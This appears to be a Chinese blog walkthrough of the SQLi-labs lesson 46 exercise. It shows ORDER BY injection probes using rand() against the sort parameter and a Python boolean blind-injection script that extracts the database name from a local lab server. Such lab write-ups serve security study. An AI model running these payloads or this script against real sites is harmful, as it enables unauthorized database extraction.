通过盲注脚本复习sqllabs第46关 order by 注入

一,搭建sqllabs靶场

https://blog.csdn.net/Joker_Dgh/article/details/123913722

二,实战

可以看到传参参数为sort

先尝试令sort=1

可以看到是一个排序表格

再尝试令sort=2

表格按照字母顺序进行了排序,所以可知使用了order by语句

尝试使用rand()盲注,设定true和false两个参数观察回显

?sort=rand(true)

?sort=rand(false)

可以看到当给的值为真或假时是不一样的,那我们可以尝试构建一个布尔盲注或者延时盲注

?sort=rand(ascii(mid((select database()),1,1))>114)

用py脚本进行盲注

代码如下

# -*- coding:utf-8 -*-

import requests
import time
from bs4 import BeautifulSoup

def inject_database(url):
    name = ''
    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)
            res = {"sort": payload}
            r = requests.post(url, params=res)
            html = r.text
            soup = BeautifulSoup(html,'html.parser')
            getUsername = soup.find_all('td')[1].text
            if getUsername == 'admin3':
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
 
if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli-labs-master/Less-46/index.php'
    inject_database(url)
    

可以看到脚本代码爆出了数据库名

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值